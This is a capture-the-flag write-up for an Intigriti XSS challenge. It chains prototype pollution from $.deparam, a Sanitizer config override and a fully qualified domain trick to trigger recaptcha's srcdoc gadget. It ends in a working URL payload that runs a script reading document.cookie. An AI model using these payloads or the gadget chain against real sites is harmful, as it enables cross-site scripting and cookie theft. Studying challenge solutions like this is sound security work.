Challenge link | Prototype Pollution
I suspect there is more than one way to skin this cat, but this writeup will walk through the one that I landed on.
Skimming the source, the first thing that caught my eye was this call to deparam:
window.params = $.deparam(location.search.slice(1))
A quick test in js console verified my suspicion that this will convert the querystring into a javascript object, and that it can be used to pollute Object.prototype:
Now that we have a prototype pollution primitive, we need to explore the rest of the source for exploitation gadgets.
By polluting the srcdoc property of the object prototype, recaptcha can be leveraged for xss. See here.
In order to get this working in the context of the target application we have a few requirements.
- We need recaptcha running on the page
- We need to supply a site-key by making the following div available in the DOM:
<div class="g-recaptcha" data-sitekey="key"></div>(NOTE: Through testing I found that this will fire with an invalid key but not with a missing or empty key.)
We'll start with the site-key.
In the default state, submitting the site-key div via the name parameter will reflect it to the page retaining the class, but stripping out the data-sitekey attribute.
This is because it's being written written to the DOM using setHTML with the default Sanitizer configuration which makes class available to all elements, but has no entry for data-sitekey.
modalContent.setHTML(name + " 👋", {sanitizer: new Sanitizer({})}); // no XSS
Note that the sanitizer config is loading an empty object in order to set up it's default configuration. We can use our pollution primitive to modify the config. We will need a configuration object that matches the following:
{
allowUnknownMarkup: true,
allowAttributes: {
"class": ["*"],
"data-sitekey": ["*"],
}
}
This can be accomplished with the following url (click here to see it working):
https://challenge-0623.intigriti.io/challenge/index.html
?__proto__[allowUnknownMarkup]=true
&__proto__[allowAttributes][data-sitekey][]=*
&__proto__[allowAttributes][class][]=*
&name=%3Cdiv%20data-sitekey%3Dxyz%20%20class%3Dg-recaptcha%3E%3C%2Fdiv%3E
(&name=<div data-sitekey=xyz class=g-recaptcha></div>)
Now that we have the site-key div available in the dom, we just need to get recaptcha working.
At the top of the script we have a pair of conditions that set up window.recaptcha.
if (document.domain === 'challenge-0623.intigriti.io') {
window.recaptcha = false
}
if (document.domain === 'localhost') {
window.recaptcha = true
}
We want window.recaptcha to be true, but we can't just use our prototype pollution gadget because an assignment like window.recaptcha = false will always override anything we attach to the prototype.
The key thing to note here is that the assignments live inside two sequential if statements, rather than an if-else construct. This means that there is a potential path through the application wherein neither of those conditions fire and the recaptcha property is never actually set. If we can get document.domain to be anything other than challenge-0623.intigriti.io or localhost we will be able to pollute the recaptcha property with true.
Luckily, browsers will allow you to supply the host part of a URL in it's fully qualified format. A fully qualified domain name technically ends with a . so while challenge-0623.intigriti.io is a valid domain name, it's fully qualified form is challenge-0623.intigriti.io.
Try this in your browser (tested in the most recent versions of Chrome and firefox): https://challenge-0623.intigriti.io./challenge/index.html
Loading the page this way gets us past both conditions, leaving window.recaptcha undefined.

Here are the steps we can chain to get this thing working
- Access the page using the fully qualified domain to prevent
window.recaptchafrom being set - pollute
window.recaptchawithtrueto get the recaptcha script loaded - Pollute the sanitizer config to allow the
data-sitekeyattribute - inject the recaptcha sitekey div so that it's available in the DOM
- pollute
srcdocon Object prototype with an xss payload, which recaptcha will evaluate.
Implementing all of these steps we get the following URL payload. (Click here to demo.)
https://challenge-0623.intigriti.io./challenge/index.html
?__proto__[recaptcha]=true
&__proto__[srcdoc]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
&__proto__[allowUnknownMarkup]=true
&__proto__[allowAttributes][data-sitekey][]=*
&__proto__[allowAttributes][class][]=*&
name=%3Cdiv%20data-sitekey%3Dxyz%20%20class%3Dg-recaptcha%3E%3C%2Fdiv%3E






